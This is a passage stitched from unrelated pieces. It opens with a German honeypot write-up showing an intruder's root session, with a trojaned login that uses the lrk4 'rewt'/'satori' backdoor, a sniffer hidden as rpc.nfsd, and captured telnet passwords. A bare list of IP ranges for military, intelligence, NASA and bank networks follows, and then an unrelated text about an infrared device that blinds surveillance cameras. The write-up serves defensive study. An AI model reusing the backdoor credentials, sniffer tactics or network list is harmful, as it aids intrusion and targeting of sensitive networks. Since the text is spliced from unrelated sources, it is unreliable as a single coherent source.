Wie man sehen kann wurde eine Vielzahl von Dateien un Binaries modifiziert. Es
gab keine neuen Einträge in der /etc/passwd (schlauerweise hatte er den crak0
und rewt Eintrag wieder gelöscht), also mußte er in einer der modifizierten
Binaries eine Hintertür offen gelassen haben. Außerdem waren zwei Dateien
hinzugefügt worden, /usr/sbin/sniff.pid und /usr/sbin/tcp.log. Nicht ganz
überraschend war /usr/sbin/sniff.pid die pid des Sniffers und /usr/sbin/tcp.log
war die Datei in der er alle gesammelten Informationen ablegt. Ausgehend von
/usr/sbin/sniff.pid stellte sich heraus, das rpc.nfsd der Sniffer war. Unser
Eindringling hatte einen Sniffer kompiliert, in diesem Fall linsniffer, und
rpc.nfsd damit ersetzt. Das stellte sicher, das auch nach einem reboot der
Sniffer durch den init-Prozeß gestartet wurde. Folgendes bestätigt, das rpc.nfsd
der Sniffer ist:

mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
—– [CAPLEN Exceeded]
—– [Timed Out]
—– [RST]
—– [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s

Nachdem ich mein System untersucht und verstanden hatte, was vorgegangen war,
ließ ich es alleine. Ich war neugierig, was seine nächsten Schritte sein würden.
Ich wollte nicht, daß er wußte, daß ich ihn erwischt hatte, deshalb löschte ich
alle meine Spuren aus /usr/sbin/tcp.log.

Die Rückkehr des Script Kiddies
Am nächsten Tag kam unser Freund wieder. Durch loggen seiner Tastatureingaben
fand ich schnell die Hintertür: /bin/login war ein Trojaner. Diese Binary, die
für Telnetsitzungen verwendet wird, war so konfiguriert, das der Account “rewt”
mit dem Passwort “satori” root Rechte erhielt. “satori” ist das Standardpasswort
für alle Trojaner, die von lrk4 installiert werden, ein sicheres
Erkennungszeichen, daß Dein System kompromittiert sein könnte.

Der Eindringling prüfte, ob der Sniffer noch funktionierte. Außerdem wollte er
wissen, ob irgendwelche Accounts seit dem vorherigen Tag abgefangen wurden. Hier
seine Eingaben:

Red Hat Linux release 5.1 (Manhattan)
Kernel 2.0.35 on an i586

mozart login: rewt
Password:
[root@mozart /root]# w
4:11pm up 17:39, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[root@mozart /root]# ps aux
USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
bin 250 0.0 1.1 776 352 ? S 03:32 0:00 portmap
daemon 228 0.0 1.3 796 416 ? S 03:32 0:00 /usr/sbin/atd
root 1 0.0 1.4 792 432 ? S 03:31 0:03 init [3]
root 2 0.0 0.0 0 0 ? SW 03:31 0:00 (kflushd)
root 3 0.0 0.0 0 0 ? SW< 03:31 0:00 (kswapd)
root 4 0.0 0.0 0 0 ? SW 03:31 0:00 (md_thread)
root 5 0.0 0.0 0 0 ? SW 03:31 0:00 (md_thread)
root 36 0.0 1.1 752 364 ? S 03:32 0:00 /sbin/kerneld
root 61 0.0 2.2 1196 688 ? S 03:32 0:00 bash
/etc/rc.d/rc 3
root 208 0.0 0.4 268 152 ? S 03:32 0:00 syslogd
root 217 0.0 1.7 928 548 ? S 03:32 0:00 klogd
root 239 0.0 1.5 864 488 ? S 03:32 0:00 crond
root 261 0.0 2.5 1252 776 ? S 03:32 0:00 /usr/sbin/snmpd
-f
root 273 0.0 0.4 168 140 ? S 03:32 0:00 inetd
root 284 0.0 2.0 1000 620 ? S 03:32 0:00 named
root 297 0.0 2.2 1192 684 ? S 03:32 0:00 sh
/etc/rc.d/rc3.d/S6
root 306 0.0 1.6 852 504 ? S 03:32 0:00 rpc.mountd
root 314 0.0 1.3 876 404 ? S 03:32 0:00 rpc.nfsd
root 599 0.4 2.2 1240 696 ? S 21:11 0:00 in.telnetd
root 600 1.3 2.5 1184 772 p0 S 21:11 0:00 -bash
root 614 0.0 1.2 920 400 p0 R 21:11 0:00 ps aux
[root@mozart /root]# cd /usr/sbin
[root@mozart sbin]# ls
ClockProg innd sendfax
SVGATextMode inndstart sendmail
accton ipop2d set80
adduser ipop3d setVGAreg
am-eject kbdconfig setclock
amd klogd setconsole
amq logrotate setpalette
apmd lpc setup
atd lpd showmount
atrun lpf sliplogin
automount makewhatis smbd
bootpd mk-amd-map smbmount
bootpef mkdict smbumount
bootptest mkpasswd sndconfig
callback mouseconfig sniff.pid
chat named snmpd
chpasswd named-xfer snmptrapd
chroot named.reload squid
clockprobe named.restart squid.novm
create-cracklib-dict ncpserv stm
crond ndc stm-menu
ctlinnd newusers strfile
dbmmanage nmbd swapdev
dhcpd ntpdate syslogd
dhcrelay ntpq tcp.log
dip ntptrace tcpd
diplogin ntsysv tcpdchk
dump-acct nwbind tcpdmatch
dump-utmp nwclient tcpdump
edquota nwconn tickadj
exportfs nwserv timeconfig
faxrunqd pac timed
fixmount packer timedc
fsinfo pmap_dump tmpwatch
fuser pmap_set traceroute
gated portmap try-from
getVGAreg pppd tunelp
getpalette pppstats unstr
grabmode pwck useradd
groupadd pwconv userdel
groupdel pwunconv userhelper
groupmod quotastats usermod
grpck ramsize usernetctl
grpconv rdev uuchk
grpunconv rdistd uucico
hlfsd readprofile uuconv
htdigest repquota uusched
htpasswd rhbackup uuxqt
httpd rmt vidmode
huntd rootflags vipw
imapd routed warnquota
in.comsat rpc.bootparamd wire-test
in.fingerd rpc.mountd wsmbconf
in.ftpd rpc.nfsd xferstats
in.identd rpc.rquotad xntpd
in.nnrpd rpc.rusersd xntpdc
in.ntalkd rpc.rwalld ypbind
in.rexecd rpc.yppasswdd yppoll
in.rlogind rpc.ypxfrd yppush
in.rshd rpcinfo ypserv
in.talkd rwhod ypset
in.telnetd sa zdump
in.tftpd safe_finger zic
in.timed samba
inetd sbpnpprobe
[root@mozart sbin]# paste tcp.log

1Cust118.tnt1.long-branch.nj.da.uu.net => mozart [23]
#’vt1002!rewt
satori
last -210110
cd /log
ls
/cd /var/log
ls

—– [Timed Out]

router => mozart [23]
!”‘#o% 38400,38400′VT100root
fergit
ls
cat /etc/hosts

—– [Timed Out]
Exiting…
[root@mozart sbin]# w
4:11pm up 17:39, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
[root@mozart sbin]# cat /etc/hosts
127.0.0.1 localhost localhost.localdomain
172.20.1.130 mozart mozart
172.20.1.1 router
[root@mozart sbin]# uname -a
Linux mozart 2.0.35 #1 Tue Jul 14 23:56:39 EDT 1998 i586 unknown
[root@mozart sbin]# netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt
Iface
172.20.1.0 * 255.255.255.0 U 1500 0 0
eth0
127.0.0.0 * 255.0.0.0 U 3584 0 0
lo
default router 0.0.0.0 UG 1500 0 0
eth0
[root@mozart sbin]# netstat -rs
netstat: illegal option — s
usage: netstat [-veenNcCF] [] -r netstat {-V|–version|-h|–
help}
netstat [-vnNcaeo] []
netstat { [-veenNac] -i | [-vnNc] -L | [-cnNe] -M }

-r, –route display routing table
-L, –netlink display netlink kernel messages
-i, –interfaces display interface table
-M, –masquerade display masqueraded connections

-v, –verbose be verbose
-n, –numeric dont resolve names
-e, –extend display other/more informations
-c, –continuous continuous listing

-a, –all, –listening display all
-o, –timers display timers

={-t|–tcp} {-u|–udp} {-w|–raw} {-x|–unix} –ax25 –ipx –
netrom
= -A {inet|ipx|netrom|ddp|ax25},… –inet –ipx –netrom –ddp –ax25
[root@mozart sbin]#ls
ClockProg innd sendfax
SVGATextMode inndstart sendmail
accton ipop2d set80
adduser ipop3d setVGAreg
am-eject kbdconfig setclock
amd klogd setconsole
amq logrotate setpalette
apmd lpc setup

[root@mozart sbin]# rpc.nfsd
ÿò[root@mozart sbin]# ps aux
USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
bin 250 0.0 1.1 776 352 ? S 03:32 0:00 portmap
daemon 228 0.0 1.3 796 416 ? S 03:32 0:00 /usr/sbin/atd
root 1 0.0 1.4 792 432 ? S 03:31 0:03 init [3]
root 2 0.0 0.0 0 0 ? SW 03:31 0:00 (kflushd)
root 3 0.0 0.0 0 0 ? SW< 03:31 0:00 (kswapd)
root 4 0.0 0.0 0 0 ? SW 03:31 0:00 (md_thread)
root 5 0.0 0.0 0 0 ? SW 03:31 0:00 (md_thread)
root 36 0.0 1.1 752 364 ? S 03:32 0:00 /sbin/kerneld
root 61 0.0 2.2 1196 688 ? S 03:32 0:00 bash
/etc/rc.d/rc 3
root 208 0.0 0.4 268 152 ? S 03:32 0:00 syslogd
root 217 0.0 1.7 928 548 ? S 03:32 0:00 klogd
root 239 0.0 1.5 864 488 ? S 03:32 0:00 crond
root 261 0.0 2.5 1252 776 ? S 03:32 0:00 /usr/sbin/snmpd
-f
root 273 0.0 0.4 168 140 ? S 03:32 0:00 inetd
root 284 0.0 2.0 1000 620 ? S 03:32 0:00 named
root 297 0.0 2.2 1192 684 ? S 03:32 0:00 sh
/etc/rc.d/rc3.d/S6
root 306 0.0 1.6 852 504 ? S 03:32 0:00 rpc.mountd
root 314 0.0 1.3 876 404 ? S 03:32 0:00 rpc.nfsd
root 599 0.0 2.2 1240 696 ? S 21:11 0:00 in.telnetd
root 600 0.1 2.5 1184 772 p0 S 21:11 0:00 -bash
root 626 0.0 1.2 920 400 p0 R 21:12 0:00 ps aux
[root@mozart sbin]# rm tcp.log
rm: remove `tcp.log’? y
[root@mozart sbin]# kill -9 314
[root@mozart sbin]# rm rpc.nfsd

Beachte, das er ganz zum Schluß den Sniffer stoppt. Das war das letzte, was er
vor der Beendigung der Sitzung tat. Er kam jedoch schnell zurück, nur um den
Sniffer neu zu starten. Ich bin mir nicht ganz sicher, warum er das getan hat.

Dieser Vorgang des Systemchecks wiederholte sich für einige Tage. Jeden Tag kam
der Eindringling zurück, um zu prüfen, ob der Sniffer noch lief und ob er
irgendwelche wertvollen Daten gesammelt hatte. Nach dem vierten Tag beschloß
ich, daß es nun genug sei und trennte das System. Ich hatte genug von dem
Eindringling gelernt und schien nichts neues mehr lernen zu können.

Schlußfolgerung

Wir haben hier von Anfang bis Ende gesehen, wie sich ein Eindringling benehmen
könnte, sobald sie erst mal root sind. Sie fangen oft damit an, zu prüfen ob
irgendjemand auf dem System ist. Wenn sie erst mal wissen, daß sie allein sind,
verwischen sie ihre Spuren, indem sie Logfiles säubern und wichtige Dateien
verändern bzw. modifizieren. Wenn sie erst mal sicher versteckt sind starten sie
neue und schädlichere Aktivitäten. Um sich besser gegen diese Bedrohung zu
schützen, empfehle ich seine Systeme zu sichern (panzern). Grundlegender Schutz
reicht für die meisten Script Kiddies da sie nach dem leichten Opfer suchen.
Eine Vorstellung davon, wie man sein System sichert (panzert), bekommt man bei
http://www.enteract.com/~lspitz/linux.html bzw.
http://www.enteract.com/~lspitz/solaris.html. Wenn es zu spät ist und Dein
System schon kompromittiert wurde, kann man hier nachlesen

http://www.cert.org/nav/recovering.html

11.0.0.0 – 11.255.255.255 – DoD Network Information Center
144.233.0.0 – 144.233.255.255 – Defense Intelligence Agency
144.234.0.0 – 144.234.255.255 – Defense Intelligence Agency
144.236.0.0 – 144.236.255.255 – Defense Intelligence Agency
144.237.0.0 – 144.237.255.255 – Defense Intelligence Agency
144.238.0.0 – 144.238.255.255 – Defense Intelligence Agency
144.239.0.0 – 144.239.255.255 – Defense Intelligence Agency
144.240.0.0 – 144.240.255.255 – Defense Intelligence Agency
144.241.0.0 – 144.241.255.255 – Defense Intelligence Agency
144.242.0.0 – 144.242.255.255 – Defense Intelligence Agency
162.45.0.0 – 162.45.255.255 – Central Intelligence Agency
162.46.0.0 – 162.46.255.255 – Central Intelligence Agency
130.16.0.0 – 130.16.255.255 – The Pentagon
134.11.0.0 – 134.11.255.255 – The Pentagon
134.152.0.0 – 134.152.255.255 – The Pentagon
134.205.0.0 – 134.205.255.255 – The Pentagon
140.185.0.0 – 140.185.255.255 – The Pentagon
141.116.0.0 – 141.116.255.255 – Army Information Systems Command Pentagon
6.0.0.0 – 6.255.255.255 – DoD Network Information Center
128.20.0.0 – 128.20.255.255 – U.S. Army Research Laboratory
128.63.0.0 – 128.63.255.255 – U.S. Army Research Laboratory
129.229.0.0 – 129.229.255.255 – United States Army Corps of Engineers
131.218.0.0 – 131.218.255.255 – U.S. Army Research Laboratory
134.194.0.0 – 134.194.255.255 – DoD Network Information Center
134.232.0.0 – 134.232.255.255 – DoD Network Information Center
137.128.0.0 – 137.128.255.255 – U.S. ARMY Tank Automotive Command
144.252.0.0 – 144.252.255.255 – DoD Network Information Center
155.8.0.0 – 155.8.255.255 – DoD Network Information Center
158.3.0.0 – 158.3.255.255 – Headquarters, USAAISC
158.12.0.0 – 158.12.255.255 – U.S. Army Research Laboratory
164.225.0.0 – 164.225.255.255 – DoD Network Information Center
140.173.0.0 – 140.173.255.255 – DARPA ISTO
158.63.0.0 – 158.63.255.255 – Defense Advanced Research Projects Agency
145.237.0.0 – 145.237.255.255 – POLFIN ( Ministry of Finance Poland)
163.13.0.0 – 163.32.255.255 – Ministry of Education Computer Center Taiwan
168.187.0.0 – 168.187.255.255 – Kuwait Ministry of Communications
171.19.0.0 – 171.19.255.255 – Ministry of Interior Hungary
164.49.0.0 – 164.49.255.255 – United States Army Space and Strategic Defense
165.27.0.0 – 165.27.255.255 – United States Cellular Telephone
152.152.0.0 – 152.152.255.255 – NATO Headquarters
128.102.0.0 – 128.102.255.255 – NASA
128.149.0.0 – 128.149.255.255 – NASA
128.154.0.0 – 128.154.255.255 – NASA
128.155.0.0 – 128.155.255.255 – NASA
128.156.0.0 – 128.156.255.255 – NASA
128.157.0.0 – 128.157.255.255 – NASA
128.158.0.0 – 128.158.255.255 – NASA
128.159.0.0 – 128.159.255.255 – NASA
128.161.0.0 – 128.161.255.255 – NASA
128.183.0.0 – 128.183.255.255 – NASA
128.217.0.0 – 128.217.255.255 – NASA
129.50.0.0 – 129.50.255.255 – NASA
153.31.0.0 – 153.31.255.255 – FBI Criminal Justice Information Systems
138.137.0.0 – 138.137.255.255 – Navy Regional Data Automation Center
138.141.0.0 – 138.141.255.255 – Navy Regional Data Automation Center
138.143.0.0 – 138.143.255.255 – Navy Regional Data Automation Center
161.104.0.0 – 161.104.255.255 – France Telecom R&D
161.105.0.0 – 161.105.255.255 – France Telecom R&D
161.106.0.0 – 161.106.255.255 – France Telecom R&D
159.217.0.0 – 159.217.255.255 – Alcanet International (Alcatel)
158.190.0.0 – 158.190.255.255 – Credit Agricole
158.191.0.0 – 158.191.255.255 – Credit Agricole
158.192.0.0 – 158.192.255.255 – Credit Agricole
165.32.0.0 – 165.48.255.255 – Bank of America
171.128.0.0 – 171.206.255.255 – Bank of America
167.84.0.0 – 167.84.255.255 – The Chase Manhattan Bank
159.50.0.0 – 159.50.255.255 – Banque Nationale de Paris
159.22.0.0 – 159.22.255.255 – Swiss Federal Military Dept.
163.12.0.0 – 163.12.255.255 – navy aviation supply office
163.249.0.0 – 163.249.255.255 – Commanding Officer Navy Ships Parts
164.94.0.0 – 164.94.255.255 – Navy Personnel Research
164.224.0.0 – 164.224.255.255 – Secretary of the Navy
34.0.0.0 – 34.255.255.255 – Halliburton Company
139.121.0.0 – 139.121.255.255 – Science Applications International Corporation

I-R.A.S.C. [ i-ràs ] infra-redlight against surveillance camera -> Infrarotlicht gegen Überwachungskameras

Das von U.R.A. / FILOART entwickelte Gerät verspricht den BürgerInnen einen zuverlässigeren Schutz vor Sicherheitsmaßnahmen des Staates (und anderen Überwachenden). I-R.A.S.C. bietet die Sicherheit vor der Sicherheit und weist somit auf die Asymmetrie der Kräfte zwischen dem Überwachenden und dem Individuum hin. Neben für Überwachungszwecke organisierten Interaktionssystemen zwischen Mensch und Maschine stellt I-R.A.S.C. noch eine zusätzliche Interaktion zwischen Maschinen dar. Diese absurde Anhäufung von Technik ist symptomatisch, denn obwohl der ganze Aufwand der Schutzmaßnahmen für die vermeintliche Sicherheit der BürgerInnen gemacht wird, rutscht der Mensch auf der Bedeutungsskala des gegenwärtigen Sicherheitskonzeptes immer tiefer nach unten.

I-R.A.S.C. ist ein Infrarotlicht – Gerät zum Abschirmen vor Infrarotüberwachungskameras. Es kann ohne besonderes technisches Wissen von jedem nachgebaut werden. Das Gerät strahlt infrarotes Licht aus, das die Aufnahmen von Infrarot-Überwachungskameras stört. Das Gesicht der überwachten Person wird von einem Lichtball überdeckt. Da die ganze Interaktion in einem nicht sichtbaren Spektrum (in Frequenzen zwischen 780nm und 1mm) erfolgt, bemerkt der Mensch nichts davon bzw. er sieht weder die infrarote Strahlenemission der Überwachungskamera noch die von der I-R.A.S.C.